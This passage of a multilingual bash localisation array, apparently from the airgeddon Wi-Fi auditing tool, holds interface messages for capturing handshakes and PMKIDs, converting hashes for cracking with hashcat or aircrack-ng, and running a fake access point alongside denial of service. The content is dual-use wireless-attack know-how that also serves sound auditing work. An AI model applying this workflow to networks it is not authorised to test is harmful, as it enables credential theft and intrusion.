arr["TURKISH",680]="Bir Handshake yakalamaya çalışmış olsanız da, hedef ağdan bir PMKID'nin başarılı bir şekilde yakalandığı doğrulandı" arr["ARABIC",680]="تم التقاطه بنجاح من الشبكة المستهدفة وهي صالحة أيضًا PMKID فقد تم التحقق من أن ،Handshake على الرغم من أنك كنت تحاول التقاط" arr["CHINESE",680]="虽然您尝试捕获握手包文件,但 PMKID 已从目标网络成功捕获,这也是有效的" arr["ENGLISH",681]="In addition to capturing a Handshake, it has been verified that a PMKID from the target network has also been successfully captured" arr["SPANISH",681]="Además de capturar un Handshake, se ha comprobado que se capturado con éxito también un PMKID de la red elegida como objetivo" arr["FRENCH",681]="En plus de capturer une Handshake, il a été vérifié qu'un PMKID du réseau cible a été également capturé avec succès" arr["CATALAN",681]="A més de capturar un Handshake, s'ha comprovat que es capturat amb èxit també un PMKID de la xarxa triada com a objectiu" arr["PORTUGUESE",681]="Além de capturar um Handshake, um PMKID da rede também foi capturado com sucesso" arr["RUSSIAN",681]="В дополнение к захвату Handshake, было подтверждено, что также успешно захвачен PMKID целевой сети" arr["GREEK",681]="Εκτός από την καταγραφή ενός Handshake, επιβεβαιώθηκε πως κάποιο PMKID από το δίκτυο-στόχος έχει επίσης καταγραφεί με επιτυχία" arr["ITALIAN",681]="Oltre all'acquisizione di un Handshake, è stato verificato che anche un PMKID della rete scelta è stato catturato correttamente" arr["POLISH",681]="Oprócz przechwycenia Handshake potwierdzono, że PMKID z sieci docelowej również został pomyślnie przechwycony" arr["GERMAN",681]="Neben der Erfassung eines Handshakes wurde überprüft, ob auch eine PMKID aus dem Zielnetzwerk erfolgreich erfasst wurde" arr["TURKISH",681]="Bir Handshake yakalamanın yanı sıra, hedef ağdan bir PMKID değerinin de başarıyla yakalandığı doğrulandı" arr["ARABIC",681]="من الشبكة المستهدفة قد تم التقاطه بنجاح أيضًا PMKID تم التحقق من أن ،Handshake بالإضافة إلى التقاط" arr["CHINESE",681]="除了捕获握手外,还已验证来自目标网络的 PMKID 也已成功捕获" arr["ENGLISH",682]="No networks found with Handshake/PMKID captured on the selected file" arr["SPANISH",682]="No se encontraron redes con Handshake/PMKID capturado en el fichero seleccionado" arr["FRENCH",682]="Aucun réseau avec son Handshake/PMKID n'a été trouvé dans le fichier sélectionné" arr["CATALAN",682]="No s'han trobat xarxes amb Handshake/PMKID capturat en el fitxer seleccionat" arr["PORTUGUESE",682]="Nenhuma rede encontrada no arquivo Handshake/PMKID selecionado" arr["RUSSIAN",682]="В выбранном файле сети с захваченным рукопожатием/PMKID не найдены" arr["GREEK",682]="Δεν βρέθηκαν δίκτυα με Χειραψία/PMKID στο επιλεγμένο αρχείο" arr["ITALIAN",682]="Nessuna rete trovata con Handshake/PMKID catturati nel file selezionato" arr["POLISH",682]="Nie znaleziono sieci z przechwyconym Handshake/PMKID w wybranym pliku" arr["GERMAN",682]="In der ausgewählten Datei wurden keine Netzwerke mit Handshake/PMKID gefunden" arr["TURKISH",682]="Seçilen dosyada yakalanan Handshake/PMKID ile ağ bulunamadı" arr["ARABIC",682]="الملتقطة في الملف المحدد Handshake/PMKID لم يتم العثور على شبكات مع" arr["CHINESE",682]="在选中的 握手包/PMKID 捕获文件中没有找到目标无线网络" arr["ENGLISH",683]="It has been verified that capture file contains Handshake/PMKID of target network. Script can continue..." arr["SPANISH",683]="Se ha comprobado que el fichero de captura contiene Handshake/PMKID de la red objetivo. El script puede continuar..." arr["FRENCH",683]="Il a été vérifié que le fichier de capture contient une Handshake/PMKID du réseau cible. Le script peut continuer..." arr["CATALAN",683]="S'ha comprovat que el fitxer de captura conté Handshake/PMKID de la xarxa objectiu. El script pot continuar..." arr["PORTUGUESE",683]="Foi verificado que o arquivo de captura contém um Handshake/PMKID da rede. O script pode continuar..." arr["RUSSIAN",683]="Подтверждено, что файл захвата содержит Handshake/PMKID целевой сети. Скрипт может продолжать..." arr["GREEK",683]="Επιβεβαιώθηκε πως το αρχείο καταγραφής περιέχει το Handshake/PMKID του δικτύου-στόχος. Το script μπορεί να συνεχίσει..." arr["ITALIAN",683]="È stato verificato che il file di cattura contiene Handshake/PMKID della rete obiettivo. Lo script può continuare..." arr["POLISH",683]="Plik przechwytywania został zweryfikowany jako zawierający Handshake/PMKID sieci docelowej. Skrypt może kontynuować..." arr["GERMAN",683]="Es wurde überprüft, ob die Capture-Datei das Handshake/PMKID des Zielnetzwerks enthält. Das Skript kann fortfahren..." arr["TURKISH",683]="Yakalama dosyasının hedef ağın Handshake/PMKID değerini içerdiği doğrulandı. Yazılım devam edebilir..." arr["ARABIC",683]="...للشبكة الهدف. البرنامج يمكن أن يستمر Handshake/PMKID تم التحقق من أن ملف الالتقاط يحتوي على" arr["CHINESE",683]="已验证捕获文件中包含目标网络的握手包/PMKID。脚本可以继续..." arr["ENGLISH",684]="\${blue_color}The captured PMKID file is in a text format containing the hash in order to be cracked using hashcat. Additionally, airgeddon can transform the capture to \".cap\" format to let the file to be cracked using aircrack-ng as if it were an airodump-ng capture, but tshark command will be required to be able to carry out this transformation. \${green_color}Do you want to perform the transformation? \${pink_color}(you'll also keep the hashcat file, this is additional) \${normal_color}\${visual_choice}" arr["SPANISH",684]="\${blue_color}El fichero PMKID que has capturado está en un formato de texto con el hash para que se pueda crackear usando hashcat. Adicionalmente, airgeddon puede transformar la captura a formato \".cap\" para que el fichero pueda ser crackeado con aircrack-ng como si se tratase de una captura de airodump-ng, pero requerirá del comando tshark para realizar dicha transformación. \${green_color}¿Quieres realizar la transformación? \${pink_color}(mantendrás también el fichero de hashcat, esto es adicional) \${normal_color}\${visual_choice}" arr["FRENCH",684]="\${blue_color}Le fichier PMKID que vous avez capturé est en format de texte avec le hash afin qu'il puisse être craqué en utilisant hashcat. airgeddon peut aussi transformer la capture au format \".cap\" afin que le fichier puisse être cracké avec aircrack-ng comme s'il s'agissait d'une capture d'airodump-ng, mais il nécessitera la commande tshark pour effectuer cette transformation. \${green_color}Voulez-vous effectuer la transformation? \${pink_color}(vous conserverez également le fichier hashcat, ceci est supplémentaire) \${normal_color}\${visual_choice}" arr["CATALAN",684]="\${blue_color}El fitxer PMKID que has capturat està en un format de text amb el hash perquè es pugui crackejar usant hashcat. Addicionalment, airgeddon pot transformar la captura a format \".cap\" perquè el fitxer pugui ser esquerdat amb aircrack-ng com si es tractés d'una captura de airodump-ng, però requerirà del comandament tshark per realitzar aquesta transformació. \${green_color}¿Vols fer la transformació? \${pink_color}(mantindràs també el fitxer de hashcat, això és addicional) \${normal_color}\${visual_choice}" arr["PORTUGUESE",684]="\${blue_color}O arquivo PMKID que você capturou contém um texto no formato de uma hash, para ser descriptografado usando o hashcat. Além disso, o airgeddon pode transformar o arquivo no formato \".cap\" para que poder ser quebrado com o aircrack-ng como se fosse um arquivo capturado pelo airodump-ng, mas será necessário o comando tshark para executar essa transformação. \${green_color}Deseja executar a transformação? \${pink_color}(você também continuará com o arquivo original) \${normal_color}\${visual_choice}" arr["RUSSIAN",684]="\${blue_color}Захваченный файл PMKID находится в текстовом формате, содержащем хэш, чтобы быть взломанным с использованием hashcat. Кроме того, airgeddon может преобразовать захват в формат \".cap\", чтобы позволить файлу быть взломанным с помощью aircrack-ng, как если бы это был захват airodump-ng, но для выполнения этого преобразования потребуется программа tshark. \${green_color}Вы хотите выполнить преобразование? \${pink_color}(дополнительно будет сохранён файл hashcat) \${normal_color}\${visual_choice}" arr["GREEK",684]="\${blue_color}Το PMKID αρχείο που έχει καταγραφεί είναι σε μορφή hash, ώστε να \"σπάσει\" χρησιμοποιώντας το hashcat. Επιπλέον, το airgeddon μπορεί να το μετατρέψει σε μορφή \".cap\" για να χρησιμοποιηθεί στο aircrack-ng, σαν να έγινε export από το airodump-ng, απαιτείται όμως η εντολή tshark για να είναι σε θέση να πραγματοποιήσει αυτόν τον μετασχηματισμό. \${green_color}Θέλετε να πραγματοποιήσετε τη μετατροπή; \${pink_color}(θα διατηρήσετε επίσης το αρχείο hashcat, αυτό είναι extra) \${normal_color}\${visual_choice}" arr["ITALIAN",684]="\${blue_color}Il file PMKID che hai catturato è in un formato di testo con l'hash in modo che possa essere craccato usando hashcat. Inoltre, airgeddon può trasformare la cattura in formato \".cap\" in modo che il file possa essere craccato con aircrack-ng come se fosse stato catturato con airodump-ng, ma richiederà il comando tshark per eseguire questa trasformazione. \${green_color}Vuoi eseguire la trasformazione? \${pink_color}(manterrai anche il file hashcat, questo è aggiuntivo) \${normal_color}\${visual_choice}" arr["POLISH",684]="\${blue_color}Plik PMKID, który przechwyciłeś, jest w formacie tekstowym z hashem, dzięki czemu można go złamać za pomocą hashcat. Ponadto airgeddon może go skonwertować do formatu \".cap\", dzięki czemu plik będzie mógł zostać złamany za pomocą aircrack-ng, tak jakby był przechwycony za pomocą airodump-ng. Do przeprowadzenia konwersji wymagana jest komenda tshark. \${green_color}Czy chcesz wykonać konwersję? \${pink_color}(jako dodatek, ponieważ zachowasz też oryginalny plik hashcat) \${normal_color}\${visual_choice}" arr["GERMAN",684]="\${blue_color}Die von Ihnen erfasste PMKID-Datei liegt in einem Textformat mit dem Hash vor, sodass sie mit Hashcat geknackt werden kann. Darüber hinaus kann airgeddon die Erfassung in das Format \".cap\" umwandeln, sodass die Datei mit aircrack-ng geknackt werden kann, als wäre es eine airodump-ng-Erfassung. Für diese Umwandlung ist jedoch der Befehl tshark erforderlich. \${green_color}Möchten Sie die Transformation durchführen? \${pink_color}(Sie behalten auch die Hashcat-Datei bei, dies ist zusätzlich) \${normal_color}\${visual_choice}" arr["TURKISH",684]="\${blue_color}Yakalanan PMKID dosyası hashcat kullanılarak kırılabilmesi için hash içeren bir metin formatındadır. Ayrıca airgeddon, yakalamayı \".cap\" formatına dönüştürebilir dosyanın aircrack-ng kullanılarak sanki bir airodump-ng yakalamaymış gibi kırılmasına izin vermek için, ancak bu dönüşümü gerçekleştirebilmek için tshark komutu gerekecektir. \${green_color}Dönüşümü gerçekleştirmek istiyor musunuz? \${pink_color}(hashcat dosyasını da saklarsınız, bu bir ek) \${normal_color}\${visual_choice}" arr["ARABIC",684]="\${normal_color}\${visual_choice}\${pink_color} (ستحتفظ أيضًا بملف التجزئة ، هذا ملف إضافي) \${green_color}هل تريد إجراء التحول؟ \${blue_color}.سيكون مطلوبًا لتتمكن من تنفيذ هذا التحويل tshark ولكن أمر ،airodump-ng كما لو كان التقاط aircrack-ng للسماح للملف بالتكسير باستخدام \".cap\" تحويل الالتقاط إلى تنسيق airgeddon بالإضافة إلى ذلك ، يمكن لـ .hashcat الذي تم التقاطه موجود بتنسيق نصي يحتوي على التجزئة ليتم اختراقها باستخدام PMKID ملف\${normal_color}" arr["CHINESE",684]="\${blue_color}捕获的 PMKID 文件是包含哈希的文本格式,以便使用 hashcat 进行破解。此外,airgeddon 可以将捕获转换为 \".cap\" 格式,以便使用 aircrack-ng 破解文件,就好像它是 airodump-ng 捕获一样,但是需要 tshark 命令才能执行此操作转型。\${green_color}您要执行转换吗? \${pink_color}(你还会保留 hashcat 文件,这是额外的) \${normal_color}\${visual_choice}" arr["ENGLISH",685]="Error. It looks like you don't have tshark command available. Depending on the system, the package name containing the command could be tshark, wireshark-cli, wireshark, etc. Install it before trying this transformation next time. The transformation can't be done" arr["SPANISH",685]="Error. Parece que no tienes disponible el comando tshark. Dependiendo del sistema, el paquete que lo contiene puede ser tshark, wireshark-cli, wireshark, etc. Instálalo antes de intentar esta transformación la próxima vez. La transformación no se puede llevar a cabo" arr["FRENCH",685]="Erreur. Il semble que vous n'avez pas la commande tshark. Selon le système, le paquet qui le contient peut être tshark, wireshark-cli, wireshark, etc. Installez-le avant d'essayer cette transformation la prochaine fois. La transformation ne peut pas être effectuée" arr["CATALAN",685]="Error. Sembla que no tens disponible el comandament tshark. Depenent del sistema, el paquet que el conté pot ser tshark, wireshark-cli, wireshark, etc. Instal·la-l abans d'intentar aquesta transformació la propera vegada. La transformació no es pot dur a terme" arr["PORTUGUESE",685]="Erro. Parece que você não tem o comando tshark disponível. Dependendo do sistema, o nome do pacote pode ser: tshark, wireshark-cli, wireshark, etc. Instale-o antes de tentar esta transformação na próxima vez. A transformação não pode ser realizada!" arr["RUSSIAN",685]="Ошибка. Похоже, у вас нет программы tshark. В зависимости от системы имя пакета, содержащего его, может быть tshark, wireshark-cli, wireshark и т. д. Установите этот пакет прежде чем пытаться выполнить это преобразование в следующий раз. Преобразование не может быть сделано" arr["GREEK",685]="Σφάλμα. Φαίνεται ότι η εντολή tshark δεν είναι διαθέσιμη. Ανάλογα με τη διανομή του συστήματος, το όνομα του πακέτου που περιέχει το tshark διαφέρει και θα μπορούσε να είναι tshark, wireshark-cli, wireshark, κ.λπ. Εγκαταστήστε το πριν δοκιμάσετε αυτόν τον μετασχηματισμό την επόμενη φορά. Ο μετασχηματισμός δεν μπορεί να γίνει" arr["ITALIAN",685]="Errore. Sembra che tu non abbia il comando tshark disponibile. A seconda del sistema, il pacchetto che lo contiene può essere tshark, wireshark-cli, wireshark, etc. Installalo prima di provare questa trasformazione la prossima volta. La trasformazione non può essere effettuata" arr["POLISH",685]="Błąd. Wygląda na to, że nie masz dostępnej komendy tshark. W zależności od systemu, pakiet który ją zawiera to tshark, wireshark-cli, wireshark itp. Zainstaluj go przed następnym użyciem tej konwersji. Nie można przeprowadzić konwersji" arr["GERMAN",685]="Fehler. Anscheinend steht Ihnen der Befehl tshark nicht zur Verfügung. Je nach System kann das Paket tshark, wireshark-cli, wireshark usw. sein. Installieren Sie es, bevor Sie diese Transformation das nächste Mal versuchen. Die Transformation kann nicht durchgeführt werden" arr["TURKISH",685]="Hata. Görünüşe göre tshark komutu yok. Sisteme bağlı olarak, onu içeren paket adı tshark, wireshark-cli, wireshark vb. olabilir. Bir dahaki sefere bu dönüşümü denemeden önce ilgili paketleri kurun. Dönüşüm yapılamaz" arr["ARABIC",685]="وما إلى ذلك. قم بتثبيته قبل تجربة هذا التحول في المرة القادمة. لا يمكن أن يتم التحول wireshark و wireshark-cli و tshark متاح. اعتمادًا على النظام ، يمكن أن يكون اسم الحزمة الذي يحتوي على الأمر tsharkخطأ. يبدو أنه ليس لديك أمر" arr["CHINESE",685]="错误。看起来您没有可用的 tshark 命令。根据系统的不同,可能的软件包名称可能是 tshark、wireshark-cli、wireshark 等。在下次尝试此转换之前请先安装它。" arr["ENGLISH",686]="Type the path to store the file or press [Enter] to accept the default proposal \${normal_color}[\${pmkidcappath}]" arr["SPANISH",686]="Escribe la ruta donde guardaremos el fichero o pulsa [Enter] para aceptar la propuesta por defecto \${normal_color}[\${pmkidcappath}]" arr["FRENCH",686]="Entrez le chemin où vous voulez enregistrer le fichier ou bien appuyez sur [Enter] pour prendre le chemin proposé par défaut \${normal_color}[\${pmkidcappath}]" arr["CATALAN",686]="Escriu la ruta on guardarem el fitxer o prem [Enter] per acceptar la proposta per defecte \${normal_color}[\${pmkidcappath}]" arr["PORTUGUESE",686]="Digite o caminho para salvar o arquivo ou pressione [Enter] para o caminho padrão \${normal_color}[\${pmkidcappath}]" arr["RUSSIAN",686]="Напечатайте путь, по которому сохранить файл или нажмите [Enter] для принятия предложения по умолчанию \${normal_color}[\${pmkidcappath}]" arr["GREEK",686]="Πληκτρολογήστε το μονοπάτι για την αποθήκευση του αρχείου ή πατήστε [Enter] για την προεπιλεγμένη επιλογή \${normal_color}[\${pmkidcappath}]" arr["ITALIAN",686]="Scrivere il percorso dove memorizzare il file o premere [Enter] per accettare la proposta di default \${normal_color}[\${pmkidcappath}]" arr["POLISH",686]="Wpisz ścieżkę do zapisywania plików lub naciśnij [Enter], aby zaakceptować domyślną propozycję \${normal_color}[\${pmkidcappath}]" arr["GERMAN",686]="Schreiben Sie den Pfad, unter dem die Datei gespeichert werden soll, oder drücken Sie die [Enter]-Taste, um den Standardvorschlag \${normal_color}[\${pmkidcappath}] \${green_color}zu benutzen" arr["TURKISH",686]="Dosyayı depolamak için yolu yazın veya varsayılan teklifi kabul etmek için [Enter] tuşuna basın \${normal_color}[\${pmkidcappath}]" arr["ARABIC",686]="\${normal_color}[\${pmkidcappath}]\${green_color} لقبول الاقتراح [Enter] اكتب المسار لتخزين الملف أو اضغط على\${normal_color}" arr["CHINESE",686]="请输入文件的存储路径或按 [Enter] 接受默认建议 \${normal_color}[\${pmkidcappath}]" arr["ENGLISH",687]="12. Arabic" arr["SPANISH",687]="12. Árabe" arr["FRENCH",687]="12. Arabe" arr["CATALAN",687]="12. Àrab" arr["PORTUGUESE",687]="12. Árabe" arr["RUSSIAN",687]="12. Арабский" arr["GREEK",687]="12. Αραβικά" arr["ITALIAN",687]="12. Araba" arr["POLISH",687]="12. Arabski" arr["GERMAN",687]="12. Arabisch" arr["TURKISH",687]="12. Arapça" arr["ARABIC",687]="12. عربى" arr["CHINESE",687]="12. 阿拉伯语" arr["ENGLISH",688]="13. Disable Network Manager force stop permanently" arr["SPANISH",688]="13. Deshabilitar forzado de parada de Network Manager permanentemente" arr["FRENCH",688]="13. Désactiver en permanence l'arrêt forcé de Network Manager" arr["CATALAN",688]="13. Deshabilitar forçat de parada de Network Manager permanentment" arr["PORTUGUESE",688]="13. Desativar permanentemente o desligamento automático do Network Manager" arr["RUSSIAN",688]="13. Отключить принудительное завершение работы Network Manager насовсем" arr["GREEK",688]="13. Απενεργοποιήστε μόνιμα τον αναγκαστικό τερματισμό του Διαχειριστή Δικτύου" arr["ITALIAN",688]="13. Disattivare l'arresto forzato del Network Manager in modo permanente" arr["POLISH",688]="13. Wyłącz na stałe wymuszone zamknięcie menedżera sieci (Network Manager)" arr["GERMAN",688]="13. Deaktivieren Sie das erzwungene Herunterfahren von Network Manager dauerhaft" arr["TURKISH",688]="13. Ağ Yöneticisi'nin kapanmaya zorlamasını kalıcı olarak devre dışı bırakın" arr["ARABIC",688]="13. تعطيل الإغلاق القسري لمدير الشبكة بشكل دائم" arr["CHINESE",688]="13. 永久禁用网络管理器强制停止" arr["ENGLISH",689]="13. Enable Network Manager force stop permanently" arr["SPANISH",689]="13. Habilitar forzado de parada de Network Manager permanentemente" arr["FRENCH",689]="13. Activer forcer l'arrêt de Network Manager en permanence" arr["CATALAN",689]="13. Habilitar forçat de parada de Network Manager permanentment" arr["PORTUGUESE",689]="13. Ativar permanentemente o desligamento automático do Network Manager" arr["RUSSIAN",689]="13. Разрешить принудительное завершение работы Network Manager бессрочно" arr["GREEK",689]="13. Ενεργοποίηστε μόνιμα τον αναγκαστικό τερματισμό του Διαχειριστή Δικτύου" arr["ITALIAN",689]="13. Attivare l'arresto forzato del Network Manager in modo permanente" arr["POLISH",689]="13. Włącz na stałe wymuszone zamknięcie menedżera sieci (Network Manager)" arr["GERMAN",689]="13. Aktivieren Sie das dauerhafte Herunterfahren von Network Manager" arr["TURKISH",689]="13. Ağ Yöneticisi'nin kalıcı olarak kapanmaya zorlanmasını etkinleştir" arr["ARABIC",689]="13. تفعيل الإغلاق القسري لمدير الشبكة بشكل دائم" arr["CHINESE",689]="13. 永久启用网络管理器强制停止" arr["ENGLISH",690]="Network Manager force stop: \${pink_color}Enabled\${normal_color}" arr["SPANISH",690]="Forzado de parada de Network Manager: \${pink_color}Activado\${normal_color}" arr["FRENCH",690]="Arrêt forcé de Network Manager: \${pink_color}Activée\${normal_color}" arr["CATALAN",690]="Forçat de parada de Network Manager: \${pink_color}Activat\${normal_color}" arr["PORTUGUESE",690]="Desligamento automático do Network Manager: \${pink_color}Ativo\${normal_color}" arr["RUSSIAN",690]="Принудительное завершение работы Network Manager: \${pink_color}Включено\${normal_color}" arr["GREEK",690]="Αναγκαστικός τερματισμός του Διαχειριστή Δικτύου: \${pink_color}Ενεργοποιημένος\${normal_color}" arr["ITALIAN",690]="Arresto forzato del Network Manager: \${pink_color}Attivato\${normal_color}" arr["POLISH",690]="Wymuszone zamnkięcie Menedżera sieci: \${pink_color}Włączony\${normal_color}" arr["GERMAN",690]="Network Manager erzwungener Stopp: \${pink_color}Aktiviert\${normal_color}" arr["TURKISH",690]="Ağ Yöneticisi zorunlu durdurma: \${pink_color}Aktif\${normal_color}" arr["ARABIC",690]="\${pink_color}مفعل\${blue_color} :توقف إجباري لمديرالشبكة\${normal_color}" arr["CHINESE",690]="网络管理器强制停止: \${pink_color}启用\${normal_color}" arr["ENGLISH",691]="Network Manager force stop: \${pink_color}Disabled\${normal_color}" arr["SPANISH",691]="Forzado de parada de Network Manager: \${pink_color}Desactivado\${normal_color}" arr["FRENCH",691]="Arrêt forcé de Network Manager: \${pink_color}Désactivée\${normal_color}" arr["CATALAN",691]="Forçat de parada de Network Manager: \${pink_color}Desactivat\${normal_color}" arr["PORTUGUESE",691]="Desligamento automático do Network Manager: \${pink_color}Desativo\${normal_color}" arr["RUSSIAN",691]="Принудительное завершение работы Network Manager: \${pink_color}Отключено\${normal_color}" arr["GREEK",691]="Αναγκαστικός τερματισμός του Διαχειριστή Δικτύου: \${pink_color}Απενεργοποιημένος\${normal_color}" arr["ITALIAN",691]="Arresto forzato del Network Manager: \${pink_color}Disattivato\${normal_color}" arr["POLISH",691]="WYmuszone zamknięcie Menedżera sieci: \${pink_color}Dezaktywowane\${normal_color}" arr["GERMAN",691]="Network Manager erzwungener Stopp: \${pink_color}Deaktiviert\${normal_color}" arr["TURKISH",691]="Ağ Yöneticisi zorunlu durdurma: \${pink_color}Devredışı\${normal_color}" arr["ARABIC",691]="\${pink_color}معطل\${blue_color} :توقف إجباري لمديرالشبكة\${normal_color}" arr["CHINESE",691]="网络管理器强行停止: \${pink_color}禁用\${normal_color}" arr["ENGLISH",692]="\${blue_color}Network Manager force stop will be disabled. \${green_color}Do you want to continue? \${normal_color}\${visual_choice}" arr["SPANISH",692]="\${blue_color}Se va a deshabilitar el forzado de parada de Network Manager. \${green_color}¿Deseas continuar? \${normal_color}\${visual_choice}" arr["FRENCH",692]="\${blue_color}L'arrêt forcé de Network Manager sera désactivé. \${green_color}Voulez-vous continuer? \${normal_color}\${visual_choice}" arr["CATALAN",692]="\${blue_color}Es va a desactivar el forçat de parada de Network Manager. \${green_color}¿Vols continuar? \${normal_color}\${visual_choice}" arr["PORTUGUESE",692]="\${blue_color}O Network Manager não será desligado automáticamente. \${green_color}Você deseja continuar? \${normal_color}\${visual_choice}" arr["RUSSIAN",692]="\${blue_color}Принудительное завершение работы Network Manager будет отключено. \${green_color}Вы хотите продолжить? \${normal_color}\${visual_choice}" arr["GREEK",692]="\${blue_color}Ο αναγκαστικός τερματισμός του Διαχειριστή Δικτύου θα απενεργοποιηθεί. \${green_color}Θέλετε να συνεχίσετε; \${normal_color}\${visual_choice}" arr["ITALIAN",692]="\${blue_color}L'arresto forzato del Network Manager verrà disattivato. \${green_color}Vuoi continuare? \${normal_color}\${visual_choice}" arr["POLISH",692]="\${blue_color}Wymuszone zamknięcie programu Network Manager zostanie wyłączone. \${green_color}Czy chcesz kontynuować? \${normal_color}\${visual_choice}" arr["GERMAN",692]="\${blue_color}Das erzwungene Herunterfahren von Network Manager wird deaktiviert. \${green_color}Möchten Sie fortfahren? \${normal_color}\${visual_choice}" arr["TURKISH",692]="\${blue_color}Ağ Yöneticisi zorunlu kapatma devre dışı bırakılacak. \${green_color}Devam etmek istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",692]="\${normal_color}\${visual_choice}\${green_color} هل تريد المتابعة؟\${blue_color} .سيتم تعطيل إيقاف التشغيل الإجباري لمديرالشبكة\${normal_color}" arr["CHINESE",692]="\${blue_color}网络管理器强制停止将被禁用。\${green_color}你想继续吗?\${normal_color}\${visual_choice}" arr["ENGLISH",693]="\${blue_color}Network Manager force stop will be enabled. \${green_color}Do you want to continue? \${normal_color}\${visual_choice}" arr["SPANISH",693]="\${blue_color}Se va a habilitar el forzado de parada de Network Manager. \${green_color}¿Deseas continuar? \${normal_color}\${visual_choice}" arr["FRENCH",693]="\${blue_color}L'arrêt forcé de Network Manager sera activé. \${green_color}Voulez-vous continuer? \${normal_color}\${visual_choice}" arr["CATALAN",693]="\${blue_color}Es va a habilitar el forçat de parada de Network Manager. \${green_color}¿Vols continuar? \${normal_color}\${visual_choice}" arr["PORTUGUESE",693]="\${blue_color}O Network Manager será desligado automáticamente. \${green_color}Você deseja continuar? \${normal_color}\${visual_choice}" arr["RUSSIAN",693]="\${blue_color}Принудительное завершение работы Network Manager будет включено. \${green_color}Вы хотите продолжить? \${normal_color}\${visual_choice}" arr["GREEK",693]="\${blue_color}Ο αναγκαστικός τερματισμός του Διαχειριστή Δικτύου θα ενεργοποιηθεί. \${green_color}Θέλετε να συνεχίσετε; \${normal_color}\${visual_choice}" arr["ITALIAN",693]="\${blue_color}L'arresto forzato del Network Manager verrà attivato \${green_color}Vuoi continuare? \${normal_color}\${visual_choice}" arr["POLISH",693]="\${blue_color}Wymuszone zamnkięcie Network Manager zostanie aktywowane. \${green_color}Czy chcesz kontynuować? \${normal_color}\${visual_choice}" arr["GERMAN",693]="\${blue_color}Network Manager erzwungener Stopp wird aktiviert. \${green_color}Möchten Sie fortfahren? \${normal_color}\${visual_choice}" arr["TURKISH",693]="\${blue_color}Ağ Yöneticisi Zorla Durdurma etkinleştirilecek. \${green_color}Devam etmek istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",693]="\${normal_color}\${visual_choice}\${green_color} هل تريد المتابعة؟\${blue_color} .سيتم تفعيل إيقاف التشغيل الإجباري لمديرالشبكة\${normal_color}" arr["CHINESE",693]="\${blue_color}网络管理器强制停止将被启用。\${green_color}你想继续吗?\${normal_color}\${visual_choice}" arr["ENGLISH",694]="Network Manager force stop has been disabled" arr["SPANISH",694]="Se ha desactivado el forzado de parada de Network Manager" arr["FRENCH",694]="L'arrêt forcé de Network Manager a été désactivé" arr["CATALAN",694]="S'ha desactivat el forçat de parada de Network Manager" arr["PORTUGUESE",694]="O deligamento automático do Network Manager foi desativo" arr["RUSSIAN",694]="Принудительное завершение работы Network Manager было отключено" arr["GREEK",694]="Ο αναγκαστικός τερματισμός του Διαχειριστή Δικτύου έχει απενεργοποιηθεί" arr["ITALIAN",694]="L'arresto forzato del Network Manager è stato disattivato" arr["POLISH",694]="Wymuszone zatrzymanie programu Network Manager zostało wyłączone" arr["GERMAN",694]="Der Network Manager erzwungener Stopp wurde deaktiviert" arr["TURKISH",694]="Ağ Yöneticisi zorla durdurma devre dışı bırakıldı" arr["ARABIC",694]="تم تعطيل التشغيل الإجباري لمديرالشبكة" arr["CHINESE",694]="网络管理器强行停止已被禁用" arr["ENGLISH",695]="Network Manager force stop has been enabled" arr["SPANISH",695]="Se ha activado el forzado de parada de Network Manager" arr["FRENCH",695]="L'arrêt forcé de Network Manager a été activé" arr["CATALAN",695]="S'ha activat el forçat de parada de Network Manager" arr["PORTUGUESE",695]="O deligamento automático do Network Manager foi ativo" arr["RUSSIAN",695]="Принудительное завершение работы Network Manager было включено" arr["GREEK",695]="Ο αναγκαστικός τερματισμός του Διαχειριστή Δικτύου έχει ενεργοποιηθεί" arr["ITALIAN",695]="L'arresto forzato del Network Manager è stato attivato" arr["POLISH",695]="Aktywowano wymuszone zatrzymanie programu Network Manager" arr["GERMAN",695]="Network Manager erzwungener Stopp wurde aktiviert" arr["TURKISH",695]="Ağ Yöneticisi zorla durdurma etkinleştirildi" arr["ARABIC",695]="تم تفعيل التشغيل الإجباري لمديرالشبكة" arr["CHINESE",695]="已启用网络管理器强制停止" arr["ENGLISH",696]="\${blue_color}The interface \${normal_color}\${current_iface_on_messages}\${blue_color} you have already selected is not supporting VIF (Virtual Interface). This attack needs it to virtually unfold itself to create the fake access point while also performing denial of service (DoS). \${green_color}Do you want to continue?\${pink_color} If yes, the denial of service will not work being an important part of the attack and making it probably ineffective \${normal_color}\${visual_choice}" arr["SPANISH",696]="\${blue_color}El interfaz \${normal_color}\${current_iface_on_messages}\${blue_color} que tienes seleccionado no soporta VIF (Virtual Interface). Este ataque lo necesita para desdoblarse virtualmente y así crear el punto de acceso falso a la vez que realiza la denegación de servicio (DoS). \${green_color}¿Deseas continuar?\${pink_color} Si lo haces, la denegación de servicio no funcionará siendo parte importante del ataque y haciéndolo probablemente poco efectivo \${normal_color}\${visual_choice}" arr["FRENCH",696]="\${blue_color}L'interface \${normal_color}\${current_iface_on_messages}\${blue_color} que vous avez sélectionnée ne supporte pas VIF (Virtual Interface). Cette attaque a besoin qu'elle se déploie virtuellement pour créer le faux point d'accès pendant que en effectuant également un déni de service (DoS). \${green_color}Est-ce que vous voulez continuer?\${pink_color} Si vous le faites, le déni de service ne fonctionnera pas en soustrayant efficace à une partie importante de l'attaque \${normal_color}\${visual_choice}" arr["CATALAN",696]="\${blue_color}La interfície \${normal_color}\${current_iface_on_messages}\${blue_color} que tens seleccionat no suporta VIF (Virtual Interface). Aquest atac ho necessita per desdoblar virtualment i així crear el punt d'accés fals alhora que realitza la denegació de servei (DoS). \${green_color}¿Vols continuar?\${pink_color} Si ho fas, la denegació de servei no funcionarà sent part important de l'atac i fent-ho probablement poc efectiu \${normal_color}\${visual_choice}" arr["PORTUGUESE",696]="\${blue_color}A interface \${normal_color}\${current_iface_on_messages}\${blue_color} que você selecionou não suporta VIF (Virtual Interface). Esse ataque precisa dessa função para criar virtualmente o ponto de acesso falso enquanto executar um ataque de negação de serviço (DoS). \${green_color}Você deseja continuar?\${pink_color} Se quiser, a negação de serviço não funcionará, sendo uma parte importante do ataque e tornando-o provavelmente ineficaz \${normal_color}\${visual_choice}" arr["RUSSIAN",696]="\${blue_color}Выбранный вами интерфейс \${normal_color}\${current_iface_on_messages}\${blue_color} не поддерживает VIF (Virtual Interface). Он требуется данной атаке для ее виртуального развертывания чтобы создать поддельную точку доступа при одновременном выполнении отказа в обслуживании (DoS). \${green_color}Вы хотите продолжить?\${pink_color} Если вы это сделаете, отказ в 